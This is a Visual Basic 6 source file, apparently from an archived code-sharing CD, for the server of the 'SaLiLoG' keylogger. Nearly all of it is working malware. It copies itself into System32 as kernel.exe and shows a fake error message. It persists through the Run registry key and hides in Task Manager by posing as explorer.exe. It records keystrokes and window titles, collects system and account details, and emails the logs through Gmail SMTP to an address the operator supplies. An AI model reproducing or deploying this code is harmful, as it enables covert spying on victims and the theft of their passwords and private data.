home *** CD-ROM | disk | FTP | other *** search
/ Planet Source Code Jumbo …e CD Visual Basic 1 to 7 / 6_2008-2009.ISO / data / zips / SaLiLoG_-_2163539272009.psc / Server / Form1.frm next >
Text File  |  2009-09-27  |  19KB  |  590 lines
  1. VERSION 5.00
  2. Begin VB.Form Main 
  3.    ClientHeight    =   6555
  4.    ClientLeft      =   60
  5.    ClientTop       =   345
  6.    ClientWidth     =   7995
  7.    Icon            =   "Form1.frx":0000
  8.    LinkTopic       =   "Form1"
  9.    ScaleHeight     =   6555
  10.    ScaleWidth      =   7995
  11.    StartUpPosition =   3  'Windows Default
  12.    Visible         =   0   'False
  13.    Begin VB.TextBox Text9 
  14.       Height          =   285
  15.       Left            =   3900
  16.       TabIndex        =   8
  17.       Text            =   "Fake Message"
  18.       Top             =   5160
  19.       Width           =   3615
  20.    End
  21.    Begin VB.TextBox Text8 
  22.       Height          =   285
  23.       Left            =   3900
  24.       TabIndex        =   7
  25.       Text            =   "Receiver's Email"
  26.       Top             =   4800
  27.       Width           =   3615
  28.    End
  29.    Begin VB.TextBox Text7 
  30.       Height          =   285
  31.       Left            =   3900
  32.       TabIndex        =   6
  33.       Text            =   "Sender's Password"
  34.       Top             =   4440
  35.       Width           =   3615
  36.    End
  37.    Begin VB.TextBox Text6 
  38.       Height          =   285
  39.       Left            =   3900
  40.       TabIndex        =   5
  41.       Text            =   "Sender's Mail"
  42.       Top             =   4080
  43.       Width           =   3615
  44.    End
  45.    Begin VB.Timer Timer4 
  46.       Interval        =   750
  47.       Left            =   7560
  48.       Top             =   1560
  49.    End
  50.    Begin VB.TextBox Text5 
  51.       Height          =   285
  52.       Left            =   3900
  53.       TabIndex        =   4
  54.       Text            =   "System32 Dir"
  55.       Top             =   3720
  56.       Width           =   3615
  57.    End
  58.    Begin VB.TextBox Text4 
  59.       Height          =   285
  60.       Left            =   3900
  61.       TabIndex        =   3
  62.       Text            =   "App Path"
  63.       Top             =   3360
  64.       Width           =   3615
  65.    End
  66.    Begin VB.Timer Timer3 
  67.       Interval        =   1000
  68.       Left            =   7560
  69.       Top             =   1080
  70.    End
  71.    Begin VB.TextBox Text3 
  72.       Height          =   3135
  73.       Left            =   0
  74.       MultiLine       =   -1  'True
  75.       ScrollBars      =   2  'Vertical
  76.       TabIndex        =   2
  77.       Top             =   3360
  78.       Width           =   3855
  79.    End
  80.    Begin VB.Timer Timer2 
  81.       Interval        =   60000
  82.       Left            =   7560
  83.       Top             =   600
  84.    End
  85.    Begin VB.TextBox Text2 
  86.       Height          =   3255
  87.       Left            =   3900
  88.       MultiLine       =   -1  'True
  89.       ScrollBars      =   2  'Vertical
  90.       TabIndex        =   1
  91.       Top             =   60
  92.       Width           =   3615
  93.    End
  94.    Begin VB.Timer Timer1 
  95.       Interval        =   5
  96.       Left            =   7560
  97.       Top             =   120
  98.    End
  99.    Begin VB.TextBox Text1 
  100.       Height          =   3255
  101.       Left            =   0
  102.       MultiLine       =   -1  'True
  103.       ScrollBars      =   2  'Vertical
  104.       TabIndex        =   0
  105.       Top             =   60
  106.       Width           =   3855
  107.    End
  108.    Begin VB.Label Label2 
  109.       Caption         =   "SaLiLoG keylogger server made by Salar Zeynali - Salixem@Gmail.Com"
  110.       Height          =   495
  111.       Left            =   3960
  112.       TabIndex        =   10
  113.       Top             =   1.50000e5
  114.       Width           =   3675
  115.    End
  116.    Begin VB.Label Label1 
  117.       Caption         =   "SaLiLoG keylogger server made by Salar Zeynali - Salixem@Gmail.Com"
  118.       Height          =   435
  119.       Left            =   3900
  120.       TabIndex        =   9
  121.       Top             =   5520
  122.       Width           =   3675
  123.    End
  124. End
  125. Attribute VB_Name = "Main"
  126. Attribute VB_GlobalNameSpace = False
  127. Attribute VB_Creatable = False
  128. Attribute VB_PredeclaredId = True
  129. Attribute VB_Exposed = False
  130. '                    SaLiLoG 1.0
  131. '                  By SaLar Zeynali
  132. '        Salixem@Gmail.Com - S4LiX3M@Yahoo.Com
  133. '  _________      .____    .______  ___        _____
  134. ' /   _____/____  |    |   |__\   \/  /____   /     \
  135. ' \_____  \\__  \ |    |   |  |\     // __ \ /  \ /  \
  136. ' /        \/ __ \|    |___|  |/     \  ___//    Y    \
  137. '/_______  (____  /_______ \__/___/\  \___  >____|__  /
  138. '        \/     \/        \/        \_/   \/        \/
  139.  
  140. Private Declare Function FindWindow& Lib "user32" Alias "FindWindowA" (ByVal lpClassName As String, ByVal lpWindowName As String)
  141. Private Declare Function FindWindowEx& Lib "user32" Alias "FindWindowExA" (ByVal hWndParent As Long, ByVal hWndChildAfter As Long, ByVal lpClassName As String, ByVal lpWindowName As String)
  142.  
  143. Private Declare Function RegDeleteValue Lib "advapi32.dll" Alias "RegDeleteValueA" (ByVal hKey As Long, ByVal lpValueName As String) As Long
  144. Private Declare Function RegSetValueEx Lib "advapi32.dll" Alias "RegSetValueExA" (ByVal hKey As Long, ByVal lpValueName As String, ByVal Reserved As Long, ByVal dwType As Long, lpData As Any, ByVal cbData As Long) As Long
  145. Private Declare Function RegOpenKeyEx Lib "advapi32.dll" Alias "RegOpenKeyExA" (ByVal hKey As Long, ByVal lpSubKey As String, ByVal ulOptions As Long, ByVal samDesired As Long, phkResult As Long) As Long
  146. Const REG_SZ = 1
  147. Const HKEY_CURRENT_USER = &H80000001
  148. Const REGKEY = "Software\Microsoft\Windows\CurrentVersion\Run"
  149. Const KEY_WRITE = &H20006
  150. Dim Path As Long
  151.  
  152. Private Declare Function GetAsyncKeyState Lib "user32" (ByVal vKey As Long) As Integer
  153. Private Declare Function GetKeyState Lib "user32" (ByVal nVirtKey As Long) As Integer
  154. Private Declare Function GetForegroundWindow Lib "user32" () As Long
  155. Private Declare Function GetWindowText Lib "user32" Alias "GetWindowTextA" (ByVal hWnd As Long, ByVal lpString As String, ByVal cch As Long) As Long
  156. Private Declare Function GetWindowTextLength Lib "user32" Alias "GetWindowTextLengthA" (ByVal hWnd As Long) As Long
  157.  
  158. Private LastWindow As String
  159. Private LastHandle As Long
  160. Private dKey(255) As Long
  161. Private Const VK_SHIFT = &H10
  162. Private Const VK_CTRL = &H11
  163. Private Const VK_ALT = &H12
  164. Private Const VK_CAPITAL = &H14
  165. Private ChangeChr(255) As String
  166. Private AltDown As Boolean
  167.  
  168. Private Sub Form_Load()
  169. Text4 = App.Path 'Application path
  170. Text5 = FSF32 'System32 path
  171. 'Copy itself to system32
  172. If Text4 = Text5 Then
  173. Else
  174. FileCopy App.Path & "\" & App.EXEName & ".exe", Text5 & "\kernel.exe"
  175. Shell Text5 & "\kernel.exe"
  176. End
  177. End If
  178.  
  179. 'Load saved data
  180. Dim PropBag As PropertyBag
  181. Set PropBag = New PropertyBag
  182. Set PropBag = LoadCompiledData
  183. If PropBag.ReadProperty("error", "") = "true" Then
  184. MsgBox "Please compile this exe with SaLiLoG"
  185. End
  186. End If
  187. Text6.Text = PropBag.ReadProperty("SndMail", "")
  188. Text7.Text = PropBag.ReadProperty("SndPwd", "")
  189. Text8.Text = PropBag.ReadProperty("RcvMail", "")
  190. Text9.Text = PropBag.ReadProperty("FakeMsg", "")
  191.  
  192. 'Show fake message
  193. If Text9 = "" Then
  194. Else
  195. MsgBox Text9, vbOKOnly + vbCritical, "Error occured"
  196. End If
  197.  
  198.  
  199. 'System info
  200. Dim os As String, over As String, op As String
  201. GetOperate os, over, op
  202. Text2 = Text2 & vbCrLf & "Windows: " & os & " (" & Environ("OS") & ")"
  203. Text2 = Text2 & vbCrLf & "Windows ver: " & over
  204. Text2 = Text2 & vbCrLf & "Service Pack: " & op
  205. Text2 = Text2 & vbCrLf & "Number Of Processors: " & Environ("NUMBER_OF_PROCESSORS")
  206. Text2 = Text2 & vbCrLf & "Processor Identifier: " & Environ("PROCESSOR_IDENTIFIER")
  207. Text2 = Text2 & vbCrLf & "Computer name: " & Environ("computername")
  208. Text2 = Text2 & vbCrLf & "Company name: " & Environ("companyname")
  209. Text2 = Text2 & vbCrLf & "Username: " & Environ("username")
  210. Text2 = Text2 & vbCrLf & "Is Administrator: " & CBool(IsNTAdmin(ByVal 0&, ByVal 0&))
  211. Text2 = Text2 & vbCrLf & "Screen resoulotion: " & Screen.Width / Screen.TwipsPerPixelX & "x" & Screen.Height / Screen.TwipsPerPixelY
  212. Text2 = Text2 & vbCrLf & "Sysytem dir: " & FSF32
  213. Text2 = Text2 & vbCrLf & "Windows dir: " & Environ("SystemRoot")
  214. Text2 = Text2 & vbCrLf & "Temp dir: " & Environ("temp")
  215. Text2 = Text2 & vbCrLf & String(80, "-")
  216. Dim MemStat As MEMORYSTATUS
  217. GlobalMemoryStatus MemStat
  218. Text2 = Text2 & vbCrLf & "Total Physical Memory (Ram): " & MemStat.dwTotalPhys / 1024 ^ 2 & " MB"
  219. Text2 = Text2 & vbCrLf & "Availble Physical Memory (Ram): " & MemStat.dwAvailPhys / 1024 ^ 2 & " MB"
  220. Text2 = Text2 & vbCrLf & "Total Virtual Memory: " & MemStat.dwTotalVirtual / 1024 ^ 2 & " MB"
  221. Text2 = Text2 & vbCrLf & "Availble Virtual Memory: " & MemStat.dwAvailVirtual / 1024 ^ 2 & " MB"
  222. Text2 = Text2 & vbCrLf & "Total Page File: " & MemStat.dwTotalPageFile / 1024 ^ 2 & " MB"
  223. Text2 = Text2 & vbCrLf & "Availble Page File: " & MemStat.dwAvailPageFile / 1024 ^ 2 & " MB"
  224. Text2 = Text2 & vbCrLf & String(80, "-")
  225. Text2 = Text2 & vbCrLf & "Connected to internet: " & CheckInternetConnection
  226. Text2 = Text2 & vbCrLf & "IP Address: " & GIFNHost("")
  227. Text2 = Text2 & vbCrLf & String(80, "-")
  228. Text2 = Text2 & vbCrLf & "Yahoo ID: " & RGGetKeyValue(HKEY_CURRENT_USER, "Software\yahoo\pager", "Yahoo! User ID")
  229. Text2 = Text2 & vbCrLf & String(80, "-")
  230. Text2 = Text2 & vbCrLf & "Ie Version: " & RGGetKeyValue(HKEY_LOCAL_MACHINE, "Software\Microsoft\Internet Explorer", "Version")
  231. Text2 = Text2 & vbCrLf & "Ie HomePage: " & RGGetKeyValue(HKEY_CURRENT_USER, "Software\Microsoft\Internet Explorer\Main", "Start Page")
  232.  
  233. On Error Resume Next
  234. App.TaskVisible = False
  235. ChangeChr(33) = "[PageUp]"
  236. ChangeChr(34) = "[PageDown]"
  237. ChangeChr(35) = "[End]"
  238. ChangeChr(36) = "[Home]"
  239. ChangeChr(45) = "[Insert]"
  240. ChangeChr(46) = "[Delete]"
  241. ChangeChr(48) = ")"
  242. ChangeChr(49) = "!"
  243. ChangeChr(50) = "@"
  244. ChangeChr(51) = "#"
  245. ChangeChr(52) = "$"
  246. ChangeChr(53) = "%"
  247. ChangeChr(54) = "^"
  248. ChangeChr(55) = "&"
  249. ChangeChr(56) = "*"
  250. ChangeChr(57) = "("
  251. ChangeChr(186) = ";"
  252. ChangeChr(187) = "="
  253. ChangeChr(188) = ","
  254. ChangeChr(189) = "-"
  255. ChangeChr(190) = "."
  256. ChangeChr(191) = "/"
  257. ChangeChr(219) = "["
  258. ChangeChr(220) = "\"
  259. ChangeChr(221) = "]"
  260. ChangeChr(222) = "'"
  261. ChangeChr(86) = ":"
  262. ChangeChr(87) = "+"
  263. ChangeChr(88) = "<"
  264. ChangeChr(89) = "_"
  265. ChangeChr(90) = ">"
  266. ChangeChr(91) = "?"
  267. ChangeChr(119) = "{"
  268. ChangeChr(120) = "|"
  269. ChangeChr(121) = "}"
  270. ChangeChr(122) = """"
  271. ChangeChr(96) = "0"
  272. ChangeChr(97) = "1"
  273. ChangeChr(98) = "2"
  274. ChangeChr(99) = "3"
  275. ChangeChr(100) = "4"
  276. ChangeChr(101) = "5"
  277. ChangeChr(102) = "6"
  278. ChangeChr(103) = "7"
  279. ChangeChr(104) = "8"
  280. ChangeChr(105) = "9"
  281. ChangeChr(106) = "*"
  282. ChangeChr(107) = "+"
  283. ChangeChr(109) = "-"
  284. ChangeChr(110) = "."
  285. ChangeChr(111) = "/"
  286. ChangeChr(192) = "`"
  287. ChangeChr(92) = "~"
  288. End Sub
  289.  
  290. Function TypeWindow()
  291. 'Finding the window that victim is writing something in.
  292. Dim Handle As Long
  293. Dim textlen As Long
  294. Dim WindowText As String
  295. Handle = GetForegroundWindow
  296. LastHandle = Handle
  297. textlen = GetWindowTextLength(Handle) + 1
  298. WindowText = Space(textlen)
  299. svar = GetWindowText(Handle, WindowText, textlen)
  300. WindowText = Left(WindowText, Len(WindowText) - 1)
  301. If WindowText <> LastWindow Then
  302. If Text1 <> "" Then Text1 = Text1 & vbCrLf & vbCrLf
  303. Text1 = Text1 & "====" & vbCrLf & WindowText & vbCrLf & "====" & vbCrLf
  304. LastWindow = WindowText
  305. End If
  306. End Function
  307.  
  308. Private Sub Timer1_Timer()
  309. 'Keylogging
  310. If GetAsyncKeyState(VK_ALT) = 0 And AltDown = True Then
  311. AltDown = False
  312. Text1 = Text1 & "[ALTUP]"
  313. End If
  314.  
  315. For i = Asc("A") To Asc("Z")
  316. If GetAsyncKeyState(i) = -32767 Then
  317. TypeWindow
  318. If GetAsyncKeyState(VK_SHIFT) < 0 Then
  319. If GetKeyState(VK_CAPITAL) > 0 Then
  320. Text1 = Text1 & LCase(Chr(i))
  321. Exit Sub
  322. Else
  323. Text1 = Text1 & UCase(Chr(i))
  324. Exit Sub
  325. End If
  326. Else
  327. If GetKeyState(VK_CAPITAL) > 0 Then
  328. Text1 = Text1 & UCase(Chr(i))
  329. Exit Sub
  330. Else
  331. Text1 = Text1 & LCase(Chr(i))
  332. Exit Sub
  333. End If
  334. End If
  335. End If
  336. Next
  337.  
  338. For i = 48 To 57
  339. If GetAsyncKeyState(i) = -32767 Then
  340. TypeWindow
  341.   
  342. If GetAsyncKeyState(VK_SHIFT) < 0 Then
  343. Text1 = Text1 & ChangeChr(i)
  344. Exit Sub
  345. Else
  346. Text1 = Text1 & Chr(i)
  347. Exit Sub
  348. End If
  349. End If
  350. Next
  351.  
  352. For i = 186 To 192
  353. If GetAsyncKeyState(i) = -32767 Then
  354. TypeWindow
  355.  
  356. If GetAsyncKeyState(VK_SHIFT) < 0 Then
  357. Text1 = Text1 & ChangeChr(i - 100)
  358. Exit Sub
  359. Else
  360. Text1 = Text1 & ChangeChr(i)
  361. Exit Sub
  362. End If
  363. End If
  364. Next
  365.  
  366. For i = 219 To 222
  367. If GetAsyncKeyState(i) = -32767 Then
  368. TypeWindow
  369.  
  370. If GetAsyncKeyState(VK_SHIFT) < 0 Then
  371. Text1 = Text1 & ChangeChr(i - 100)
  372. Exit Sub
  373. Else
  374. Text1 = Text1 & ChangeChr(i)
  375. Exit Sub
  376. End If
  377. End If
  378. Next
  379.  
  380. For i = 96 To 111
  381. If GetAsyncKeyState(i) = -32767 Then
  382. TypeWindow
  383.  
  384. If GetAsyncKeyState(VK_ALT) < 0 And AltDown = False Then
  385. AltDown = True
  386. Text1 = Text1 & "[ALTDOWN]"
  387. Else
  388. If GetAsyncKeyState(VK_ALT) >= 0 And AltDown = True Then
  389. AltDown = False
  390. Text1 = Text1 & "[ALTUP]"
  391. End If
  392. End If
  393.  
  394. Text1 = Text1 & ChangeChr(i)
  395. Exit Sub
  396. End If
  397. Next
  398.  
  399. If GetAsyncKeyState(32) = -32767 Then
  400. TypeWindow
  401. Text1 = Text1 & " "
  402. End If
  403.  
  404. If GetAsyncKeyState(13) = -32767 Then
  405. TypeWindow
  406. Text1 = Text1 & vbCrLf
  407. End If
  408.  
  409. If GetAsyncKeyState(8) = -32767 Then
  410. TypeWindow
  411. Dim backlength As Integer
  412. Dim backString As String
  413. backlength = Len(Text1.Text)
  414. backString = Mid(Text1.Text, 1, (backlength - 1))
  415. Text1.Text = backString
  416. End If
  417.  
  418. If GetAsyncKeyState(37) = -32767 Then
  419. TypeWindow
  420. Text1 = Text1 & "[LeftArrow]"
  421. End If
  422.  
  423. If GetAsyncKeyState(38) = -32767 Then
  424. TypeWindow
  425. Text1 = Text1 & "[UpArrow]"
  426. End If
  427.  
  428. If GetAsyncKeyState(39) = -32767 Then
  429. TypeWindow
  430. Text1 = Text1 & "[RightArrow]"
  431. End If
  432.  
  433. If GetAsyncKeyState(40) = -32767 Then
  434. TypeWindow
  435. Text1 = Text1 & "[DownArrow]"
  436. End If
  437.  
  438. If GetAsyncKeyState(9) = -32767 Then
  439. TypeWindow
  440. Text1 = Text1 & "[Tab]"
  441. End If
  442.  
  443. If GetAsyncKeyState(27) = -32767 Then
  444. TypeWindow
  445. Text1 = Text1 & "[Escape]"
  446. End If
  447.  
  448. For i = 45 To 46
  449. If GetAsyncKeyState(i) = -32767 Then
  450. TypeWindow
  451. Text1 = Text1 & ChangeChr(i)
  452. End If
  453. Next
  454.  
  455. For i = 33 To 36
  456. If GetAsyncKeyState(i) = -32767 Then
  457. TypeWindow
  458. Text1 = Text1 & ChangeChr(i)
  459. End If
  460. Next
  461.  
  462. If GetAsyncKeyState(1) = -32767 Then
  463. If (LastHandle = GetForegroundWindow) And LastHandle <> 0 Then 'we make sure that click is on the page that we are loging bute click log start when we type something in window
  464. Text1 = Text1 & "[LeftClick]"
  465. End If
  466. End If
  467. End Sub
  468.  
  469. Private Sub Timer2_Timer()
  470. 'Refresh system info every 1 minute
  471. On Error Resume Next
  472. Text2 = ""
  473. Dim os As String, over As String, op As String
  474. GetOperate os, over, op
  475. Text2 = Text2 & vbCrLf & "Windows: " & os & " (" & Environ("OS") & ")"
  476. Text2 = Text2 & vbCrLf & "Windows ver: " & over
  477. Text2 = Text2 & vbCrLf & "Service Pack: " & op
  478. Text2 = Text2 & vbCrLf & "Number Of Processors: " & Environ("NUMBER_OF_PROCESSORS")
  479. Text2 = Text2 & vbCrLf & "Processor Identifier: " & Environ("PROCESSOR_IDENTIFIER")
  480. Text2 = Text2 & vbCrLf & "Computer name: " & Environ("computername")
  481. Text2 = Text2 & vbCrLf & "Company name: " & Environ("companyname")
  482. Text2 = Text2 & vbCrLf & "Username: " & Environ("username")
  483. Text2 = Text2 & vbCrLf & "Is Administrator: " & CBool(IsNTAdmin(ByVal 0&, ByVal 0&))
  484. Text2 = Text2 & vbCrLf & "Screen resoulotion: " & Screen.Width / Screen.TwipsPerPixelX & "x" & Screen.Height / Screen.TwipsPerPixelY
  485. Text2 = Text2 & vbCrLf & "Sysytem dir: " & FSF32
  486. Text2 = Text2 & vbCrLf & "Windows dir: " & Environ("SystemRoot")
  487. Text2 = Text2 & vbCrLf & "Temp dir: " & Environ("temp")
  488. Text2 = Text2 & vbCrLf & String(80, "-")
  489. Dim MemStat As MEMORYSTATUS
  490. GlobalMemoryStatus MemStat
  491. Text2 = Text2 & vbCrLf & "Total Physical Memory (Ram): " & MemStat.dwTotalPhys / 1024 ^ 2 & " MB"
  492. Text2 = Text2 & vbCrLf & "Availble Physical Memory (Ram): " & MemStat.dwAvailPhys / 1024 ^ 2 & " MB"
  493. Text2 = Text2 & vbCrLf & "Total Virtual Memory: " & MemStat.dwTotalVirtual / 1024 ^ 2 & " MB"
  494. Text2 = Text2 & vbCrLf & "Availble Virtual Memory: " & MemStat.dwAvailVirtual / 1024 ^ 2 & " MB"
  495. Text2 = Text2 & vbCrLf & "Total Page File: " & MemStat.dwTotalPageFile / 1024 ^ 2 & " MB"
  496. Text2 = Text2 & vbCrLf & "Availble Page File: " & MemStat.dwAvailPageFile / 1024 ^ 2 & " MB"
  497. Text2 = Text2 & vbCrLf & String(80, "-")
  498. Text2 = Text2 & vbCrLf & "Connected to internet: " & CheckInternetConnection
  499. Text2 = Text2 & vbCrLf & "IP Address: " & GIFNHost("")
  500. Text2 = Text2 & vbCrLf & String(80, "-")
  501. Text2 = Text2 & vbCrLf & "Yahoo ID: " & RGGetKeyValue(HKEY_CURRENT_USER, "Software\yahoo\pager", "Yahoo! User ID")
  502. Text2 = Text2 & vbCrLf & String(80, "-")
  503. Text2 = Text2 & vbCrLf & "Ie Version: " & RGGetKeyValue(HKEY_LOCAL_MACHINE, "Software\Microsoft\Internet Explorer", "Version")
  504. Text2 = Text2 & vbCrLf & "Ie HomePage: " & RGGetKeyValue(HKEY_CURRENT_USER, "Software\Microsoft\Internet Explorer\Main", "Start Page")
  505. End Sub
  506.  
  507. Private Sub Timer3_Timer()
  508. On Error Resume Next
  509. 'Add to startup
  510. If RegOpenKeyEx(HKEY_CURRENT_USER, REGKEY, 0, KEY_WRITE, Path) Then Exit Sub
  511. RegSetValueEx Path, App.Title, 0, REG_SZ, ByVal App.Path & "\" & App.EXEName & ".exe", Len(App.Path & "\" & App.EXEName & ".exe")
  512.  
  513. 'Check if length of logged textbox is more than 700 then send email
  514. If Len(Text1) > 700 Then
  515. Text3 = Text2 & vbCrLf & "_________________________________________" & vbCrLf & Text1
  516.  
  517. 'Mail sending process
  518. Set correio = CreateObject("CDO.Message")
  519. correio.From = Text6
  520. correio.To = Text8
  521. correio.Subject = "KeyLog"
  522. correio.TextBody = Text3 & vbCrLf & vbCrLf & "Mail sent by SaLiLoG keylogger server | By Salar Zeynali - Salixem@Gmail.Com"
  523. correio.Configuration.Fields.Item("http://schemas.microsoft.com/cdo/configuration/smtpusessl") = True
  524. correio.Configuration.Fields.Item("http://schemas.microsoft.com/cdo/configuration/smtpauthenticate") = 1
  525. correio.Configuration.Fields.Item("http://schemas.microsoft.com/cdo/configuration/sendusing") = 2
  526. correio.Configuration.Fields.Item("http://schemas.microsoft.com/cdo/configuration/smtpserver") = "smtp.gmail.com"
  527. correio.Configuration.Fields.Item("http://schemas.microsoft.com/cdo/configuration/smtpserverport") = 465
  528. correio.Configuration.Fields.Item("http://schemas.microsoft.com/cdo/configuration/sendusername") = Text6
  529. correio.Configuration.Fields.Item("http://schemas.microsoft.com/cdo/configuration/sendpassword") = Text7
  530. correio.Configuration.Fields.Update
  531. correio.Send
  532.  
  533. 'After sending clear textboxes to start again
  534. Text1 = ""
  535. Text3 = ""
  536. End If
  537. End Sub
  538.  
  539. Private Function ModifyExe(ByVal pDest As String, ByVal pSource As String, Optional ByVal Delete As Boolean) As Boolean
  540. Dim RetVal As Long
  541. Dim RetStr As String
  542. Dim i As Long, ii As Long
  543. Dim tCount As Long
  544. Dim ExitCount As Long
  545. RetVal = FindTaskManager
  546. If RetVal Then
  547. Do While ii < 26
  548. RetStr = GetItemText(RetVal, i, ii)
  549. If RetStr = vbNullString Then
  550. If i = 0 Then
  551. i = 1
  552. ii = -1
  553. Else
  554. Exit Do
  555. End If
  556. ElseIf InStr(LCase$(RetStr), ".exe") Then
  557. tCount = GetItemCount(RetVal)
  558. For i = i To tCount - 1
  559. RetStr = GetItemText(RetVal, i, ii)
  560. If LCase$(RetStr) = LCase$(pSource) Then
  561. If Delete Then
  562. Call DeleteItem(RetVal, i)
  563. Else
  564. Call SetItemText(RetVal, pDest, i, ii)
  565. End If
  566. ModifyExe = True
  567. Exit Do
  568. End If
  569. Next i
  570. End If
  571. ii = ii + 1
  572. Loop
  573. End If
  574. End Function
  575.  
  576. Private Function FindTaskManager() As Long
  577. 'Find TaskManager window to change process name
  578. Dim RetVal As Long
  579. RetVal = FindWindow("#32770", "Windows Task Manager")
  580. RetVal = FindWindowEx(RetVal, ByVal 0&, "#32770", vbNullString)
  581. RetVal = FindWindowEx(RetVal, ByVal 0&, "SysListView32", "Processes")
  582. FindTaskManager = RetVal
  583. End Function
  584. Private Sub Timer4_Timer()
  585. 'Change process name in TaskManager
  586. On Error Resume Next
  587. ModifyExe "explorer.exe", App.EXEName & ".exe"
  588. End Sub
  589.  
  590.